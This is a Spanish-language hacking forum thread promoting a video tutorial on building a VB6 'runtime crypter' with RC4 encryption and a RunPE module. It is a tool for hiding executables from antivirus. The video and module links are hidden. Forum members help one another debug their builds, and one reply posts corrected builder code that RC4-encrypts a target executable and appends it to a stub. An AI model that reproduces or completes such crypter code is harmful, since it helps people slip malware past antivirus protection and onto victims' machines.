Creación de Crypter Runtime Skyweb07

[!x0k.]

En este nuevo videotutorial se explica como crear su propio crypter de la manera más facil posible y con todo explicado al máximo, es un crypter muy simple por lo que no es dificil de entender lo básico y que de ahi puedan derivar sus propios crypters, en este crypter se usa encriptación RC4 que es bastante poderosa pero ustedes pueden utilizar la que mas le guste o alguna otra que hallan hecho ustedes.

[+]Informacion:

Autor : Skyweb07
Programa de grabado : Creado con Camtasia Studio 5.0
Lenguaje : Visual Basic 6.0
Calidad : Máxima
Explicación : Muy Detallada
Todas las Lineas Comentadas

Fuente:
[Dear Guest/Member you can't see link before replyclick here to register]

Video:

You do not have sufficient rights to see the hidden data contained here.

Modulos Necesarios:

RunPE + RC4.zip (2.75 KB)

You do not have sufficient rights to see the hidden data contained here.

tambien pueden hacer su RunPE con este programa de skyweb07
[Dear Guest/Member you can't see link before replyclick here to register]

[eddy]

Muy bien gracias pero donde puedo encontrar el Visual Basic 6 sp 2 en español? cualquier ayuda se los agradecere.

[hermosindo]

Tengo plroblemas con la linea
sData(1) = RC4(sData(1), "micontraseña")
El subindice esta fuera del intervalo.
Porqué me da ese mensage de error?
Pueden ayudarme a corregirlo?

[LuOpP]

ese error te da despues de encryptar o cuando ejecutas el stub?

[hermosindo]

ese error te da despues de encryptar o cuando ejecutas el stub?

antes de compilar el stub. no me deja compliarlo por ese error

[LuOpP]

mira k lo hayas escrito todo bien, no deberia salirte eso al copilar

[hermosindo]

mira k lo hayas escrito todo bien, no deberia salirte eso al copilar

Ya lo arregulé pero so sabría decir como :S
Gracias por la ayuda


Bien ahora tengo un problema con el Cliente. Al compilar me dice bloque if sin end if y me señala esto:
Private Sub Command2_Click()
Dim Stub As String, Archivo As String
If Text1.Text = vbNullString Then
MsgBox "Primero debe elegir un archivo para encriptar", vbExclamation, Me.Caption

Exit Sub
Else

Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Open Text1.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1
With CD
.DialogTitle = "Selecione la ruta onde desea guardar el archivo encriptado"
.Filter = "Aplicacións EXE|*.exe"
.ShowSave
End With
If Not CD.FileName = vbNullString Then
Archivo = RC4(Archivo, "micontraseña")
Open CD.FileName For Binary As #1
Put #1, , Stub & "##$$##" & Archivo & "##$$##"
Close #1

MsgBox "Archivo encriptado correctamente", vbInformation, Me.Caption

End Sub

Probe poniendole al final antes del End Sub un End If pero es igual.
Alquien me lo puede correguir?
gracias de nuevo

(El boton es el de Encriptar)

[slayerlp]

Private Sub Command2_Click()
Dim Stub As String, Archivo As String
If Text1.Text = vbNullString Then
MsgBox "Primero debe elegir un archivo para encriptar", vbExclamation, Me.Caption
Exit Sub
Else

Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Open Text1.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1
end if
With CD
.DialogTitle = "Selecione la ruta onde desea guardar el archivo encriptado"
.Filter = "Aplicacións EXE|*.exe"
.ShowSave
End With
If Not CD.FileName = vbNullString Then
Archivo = RC4(Archivo, "micontraseña")
Open CD.FileName For Binary As #1
Put #1, , Stub & "##$$##" & Archivo & "##$$##"
Close #1

MsgBox "Archivo encriptado correctamente", vbInformation, Me.Caption
end if
End Sub

Prueba con ese codigo

[HackRevolucion]

si alguien me envia los links por mp se lo agradeceria ya que, quiero aprender como crear mi propio crypter(aunque me tire todos los videos de xa0s ---> muy bueno por sierto)

No tengo los post necesarios para poderlos ver